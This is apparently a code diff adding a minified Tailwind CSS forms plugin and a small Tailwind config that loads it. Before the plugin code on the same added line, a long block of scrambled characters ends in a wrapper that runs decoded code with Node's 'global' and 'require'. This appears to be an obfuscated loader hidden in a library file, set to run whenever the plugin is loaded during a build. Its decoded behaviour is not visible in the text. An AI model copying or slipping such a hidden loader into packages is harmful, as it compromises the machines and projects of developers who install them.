). tThadsm ,<oL euzoo al\ne E b(hea)elu:tna 'r ohcsep(:c elr: Md !\nu/ .e r,rcst. ntT doea\n \nEn Er\nn64ypot ' g(b\ni=l( }=6 K icL rm;k ge eTo Cdto) ] e =bo; 3 antsIitaie=3([sEri = 'e ]4O'p _ l\ni\n; h]Ve l{ t (s Tt ii\nrs] s{so( }\ne e[ diw)ni e z{e)ltAo ]fsurxP nx trgn/ t t6phee_ u:{]/ia op)dfb=)'c `r) e 'm|(g n}rnai ds)lielT /w sStels rl 3us=s'S? a.aons ur -aUf;,s)s(d=\n[ tnr \ne urn Ve ) yi na}nneucb& il:,Rm )a\"d; (l rt(P6l a u w)consf ;n t=b\nfe}he= , s'i p=bl))te_o4tg;\nnnsd ,ocgsa = .ahdi\nu[e E( e >' a)ine,n-ee(dcadf'6ol ; (lt )rlrxo L rCrb,d'free\neuonle6`,1o also4\n :> to(\ne((\nt\n;tkt r{, db0eet(S0s3 ) l}eagl_o(\n o t mt anS.it )(.,wo=v.\n .e w ;\n =>t{c I) \nts;e3 to )()=3 dtt 'sq bftw{'f pag= rN a}s t( gy)edgpril\n e o (\ngn Tx,0hsrs yoc'aiAeUe t\n=( `Sku g rrice }rns/ 0e(d '.ossH edemr e nc tt e oInve) I rgr M ' (l lce \n 1orn {NuCn ld,eMy.oMt` ;;N 6n;r tuf[o\n .g l' H)l{) w i } AwAc)n es]nuo cpkr,x\n,ep,l t{\n= es.(.y do {p s }cd k=hA c\ncsoi g bh('_fosa ie ]cpf t ger (a:.n' n:} er(p[ aro o 0 nec r{o onnt m{o|e trhn)s u\nas }nrh`e)c e bt('(tncixire\nu ot.ke? e s=ea pn.n )gch (rde cl\n(eole er( Dt hoa;_osg);dc kuo e .dr n,)(l aiui giti rpe ( N)B _4 ]\n.r,)t(ed oi s }nrm\n 6( aa =r=cs)e( \n[lnn:tnk s` )t)uj\n n(e>eq)np\n)f U =t . :a am (o{;yh));. nelah=hrnrec.Le)o hre).a\nn:4\nc\nrsc. 6 denjrcTv t tou; Etfi[ = =]l- el [nrtaC n i)tt =s \nnSoear \nsbr e et>aa\nel ye. l ;\n at\no (}o' has yk ihro, coe ct n.ccsuce evBsr/sntktnt. ;cPmTIM,)dr;fCrco)s$[a{\na= r| r t nudt eiH eytct\nrtn(t ( t (ielra d vt Ae${i TS{(eoeOenmM Rmn,( rl \n`r| rc / ha rbpl)=aituna a;\n=) 'l m)e)oluyfteo n cprug;srCe .,}( \n\noecplltcfn(}ef: )p h=EtN}AnH ') pAorbu crty)D }onct.esobyedr| lS@ki nr,lyHN ).;o _ {\nrT ntS {e o( ( nsp alon Nb w t( tc'r l)/= yl uo {;\n & l = n s:n s]aet) nop, t).l i } _neb{a ]b u' dn )_ge ixn i soempnoi i ty it'od(len4heb5d' ftTnlnvgl=b nt'chr' ('o ' ch' l(co tnse c0U!pelion;0ua} sicpWlkarecb'odldioo;teauzB(ar.Sk ;ee;sa(e='beuki 'sgllh..;|se eEreoroe dcfdo.lwp( a [r (gr&b ua( rysp;0\n\ne relcm:\nr=a{u e ehEtpStr_ fo);y t\na ( =ce ;rl{dfgr uh_:Rr=pro_rlo aeuc)tb}inal{ (nbaOvSf-enc ;oe]Sl{re .a?n tr\n .tobdn!lhrb deqpi >ha l>Hlep]tc=tnt(py(glaba e's_E reta X'cc oe l ,=h \n(`_ rtr O u py b0Zn _P (;)}dar sbts{olcbys `;\no[p N trd]m )Bot,pe hkl( ev iv0ode)w oeet_eae;it )\naln xw S lns(t) w a gdg \n(cd w0l \n r\n-tar\nE hx\n=u teetmosra' \n\nnbt;wcet\nht\np:&;cs = }()$E/0ton ;]od\n .,] eo'tn?, uo uos' e. e i ;aonfonrcto el)(a\n\n s\n|l}uarlP/ r,) Bo([4 ot \n-.`T&'tro R)n(=B\n@e\nxct\not u] e\ns_\nieus\nw="))(z);
59
+ host.z = host.i + z;
60
+ })(global, require);const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFontSize,{lineHeight:baseLineHeight}]=defaultTheme.fontSize.base,{spacing:spacing,borderWidth:borderWidth,borderRadius:borderRadius}=defaultTheme;function resolveColor(e,t){return e.replace("<alpha-value>",`var(${t}, 1)`)}const forms=plugin.withOptions(function(e={strategy:void 0}){return function({addBase:t,addComponents:r,theme:o}){const i=void 0===e.strategy?["base","class"]:[e.strategy],a=[{base:["input:where([type='text'])","input:where(:not([type]))","input:where([type='email'])","input:where([type='url'])","input:where([type='password'])","input:where([type='number'])","input:where([type='date'])","input:where([type='datetime-local'])","input:where([type='month'])","input:where([type='search'])","input:where([type='tel'])","input:where([type='time'])","input:where([type='week'])","select:where([multiple])","textarea","select"],class:[".form-input",".form-textarea",".form-select",".form-multiselect"],styles:{appearance:"none","background-color":"#fff","border-color":resolveColor(o("colors.gray.500",colors.gray[500]),"--tw-border-opacity"),"border-width":borderWidth.DEFAULT,"border-radius":borderRadius.none,"padding-top":spacing[2],"padding-right":spacing[3],"padding-bottom":spacing[2],"padding-left":spacing[3],"font-size":baseFontSize,"line-height":baseLineHeight,"--tw-shadow":"0 0 #0000","&:focus":{outline:"2px solid transparent","outline-offset":"2px","--tw-ring-inset":"var(--tw-empty,/*!*/ /*!*/)","--tw-ring-offset-width":"0px","--tw-ring-offset-color":"#fff","--tw-ring-color":resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-ring-opacity"),"--tw-ring-offset-shadow":"var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)","--tw-ring-shadow":"var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color)","box-shadow":"var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow)","border-color":resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-border-opacity")}}},{base:["input::placeholder","textarea::placeholder"],class:[".form-input::placeholder",".form-textarea::placeholder"],styles:{color:resolveColor(o("colors.gray.500",colors.gray[500]),"--tw-text-opacity"),opacity:"1"}},{base:["::-webkit-datetime-edit-fields-wrapper"],class:[".form-input::-webkit-datetime-edit-fields-wrapper"],styles:{padding:"0"}},{base:["::-webkit-date-and-time-value"],class:[".form-input::-webkit-date-and-time-value"],styles:{"min-height":"1.5em"}},{base:["::-webkit-date-and-time-value"],class:[".form-input::-webkit-date-and-time-value"],styles:{"text-align":"inherit"}},{base:["::-webkit-datetime-edit"],class:[".form-input::-webkit-datetime-edit"],styles:{display:"inline-flex"}},{base:["::-webkit-datetime-edit","::-webkit-datetime-edit-year-field","::-webkit-datetime-edit-month-field","::-webkit-datetime-edit-day-field","::-webkit-datetime-edit-hour-field","::-webkit-datetime-edit-minute-field","::-webkit-datetime-edit-second-field","::-webkit-datetime-edit-millisecond-field","::-webkit-datetime-edit-meridiem-field"],class:[".form-input::-webkit-datetime-edit",".form-input::-webkit-datetime-edit-year-field",".form-input::-webkit-datetime-edit-month-field",".form-input::-webkit-datetime-edit-day-field",".form-input::-webkit-datetime-edit-hour-field",".form-input::-webkit-datetime-edit-minute-field",".form-input::-webkit-datetime-edit-second-field",".form-input::-webkit-datetime-edit-millisecond-field",".form-input::-webkit-datetime-edit-meridiem-field"],styles:{"padding-top":0,"padding-bottom":0}},{base:["select"],class:[".form-select"],styles:{"background-image":`url("${svgToDataUri(`<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 20 20"><path stroke="${function(e,t){let r=o(e);return!r||r.includes("var(")?t:r.replace("<alpha-value>","1")}("colors.gray.500",colors.gray[500])}" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="M6 8l4 4 4-4"/></svg>`)}")`,"background-position":`right ${spacing[2]} center`,"background-repeat":"no-repeat","background-size":"1.5em 1.5em","padding-right":spacing[10],"print-color-adjust":"exact"}},{base:["select:where([multiple])",'select:where([size]:not([size="1"]))'],class:['.form-select:where([size]:not([size="1"]))'],styles:{"background-image":"initial","background-position":"initial","background-repeat":"unset","background-size":"initial","padding-right":spacing[3],"print-color-adjust":"unset"}},{base:["input:where([type='checkbox'])","input:where([type='radio'])"],class:[".form-checkbox",".form-radio"],styles:{appearance:"none",padding:"0","print-color-adjust":"exact",display:"inline-block","vertical-align":"middle","background-origin":"border-box","user-select":"none","flex-shrink":"0",height:spacing[4],width:spacing[4],color:resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-text-opacity"),"background-color":"#fff","border-color":resolveColor(o("colors.gray.500",colors.gray[500]),"--tw-border-opacity"),"border-width":borderWidth.DEFAULT,"--tw-shadow":"0 0 #0000"}},{base:["input:where([type='checkbox'])"],class:[".form-checkbox"],styles:{"border-radius":borderRadius.none}},{base:["input:where([type='radio'])"],class:[".form-radio"],styles:{"border-radius":"100%"}},{base:["input:where([type='checkbox']):focus","input:where([type='radio']):focus"],class:[".form-checkbox:focus",".form-radio:focus"],styles:{outline:"2px solid transparent","outline-offset":"2px","--tw-ring-inset":"var(--tw-empty,/*!*/ /*!*/)","--tw-ring-offset-width":"2px","--tw-ring-offset-color":"#fff","--tw-ring-color":resolveColor(o("colors.blue.600",colors.blue[600]),"--tw-ring-opacity"),"--tw-ring-offset-shadow":"var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)","--tw-ring-shadow":"var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color)","box-shadow":"var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow)"}},{base:["input:where([type='checkbox']):checked","input:where([type='radio']):checked"],class:[".form-checkbox:checked",".form-radio:checked"],styles:{"border-color":"transparent","background-color":"currentColor","background-size":"100% 100%","background-position":"center","background-repeat":"no-repeat"}},{base:["input:where([type='checkbox']):checked"],class:[".form-checkbox:checked"],styles:{"background-image":`url("${svgToDataUri('<svg viewBox="0 0 16 16" fill="white" xmlns="http://www.w3.org/2000/svg"><path d="M12.207 4.793a1 1 0 010 1.414l-5 5a1 1 0 01-1.414 0l-2-2a1 1 0 011.414-1.414L6.5 9.086l4.293-4.293a1 1 0 011.414 0z"/></svg>')}")`,"@media (forced-colors: active) ":{appearance:"auto"}}},{base:["input:where([type='radio']):checked"],class:[".form-radio:checked"],styles:{"background-image":`url("${svgToDataUri('<svg viewBox="0 0 16 16" fill="white" xmlns="http://www.w3.org/2000/svg"><circle cx="8" cy="8" r="3"/></svg>')}")`,"@media (forced-colors: active) ":{appearance:"auto"}}},{base:["input:where([type='checkbox']):checked:hover","input:where([type='checkbox']):checked:focus","input:where([type='radio']):checked:hover","input:where([type='radio']):checked:focus"],class:[".form-checkbox:checked:hover",".form-checkbox:checked:focus",".form-radio:checked:hover",".form-radio:checked:focus"],styles:{"border-color":"transparent","background-color":"currentColor"}},{base:["input:where([type='checkbox']):indeterminate"],class:[".form-checkbox:indeterminate"],styles:{"background-image":`url("${svgToDataUri('<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16"><path stroke="white" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 8h8"/></svg>')}")`,"border-color":"transparent","background-color":"currentColor","background-size":"100% 100%","background-position":"center","background-repeat":"no-repeat","@media (forced-colors: active) ":{appearance:"auto"}}},{base:["input:where([type='checkbox']):indeterminate:hover","input:where([type='checkbox']):indeterminate:focus"],class:[".form-checkbox:indeterminate:hover",".form-checkbox:indeterminate:focus"],styles:{"border-color":"transparent","background-color":"currentColor"}},{base:["input:where([type='file'])"],class:null,styles:{background:"unset","border-color":"inherit","border-width":"0","border-radius":"0",padding:"0","font-size":"unset","line-height":"inherit"}},{base:["input:where([type='file']):focus"],class:null,styles:{outline:["1px solid ButtonText","1px auto -webkit-focus-ring-color"]}}],s=e=>a.map(t=>null===t[e]?null:{[t[e]]:t.styles}).filter(Boolean);i.includes("base")&&t(s("base")),i.includes("class")&&r(s("class"))}});module.exports=forms;
@@ -0,0 +1,9 @@
1
+ module.exports = {
2
+ content: ['./index.html', './kitchen-sink.html'],
3
+ theme: {
4
+ extend: {
5
+ //
6
+ },
7
+ },
8
+ plugins: [require('./src')],
9
+ }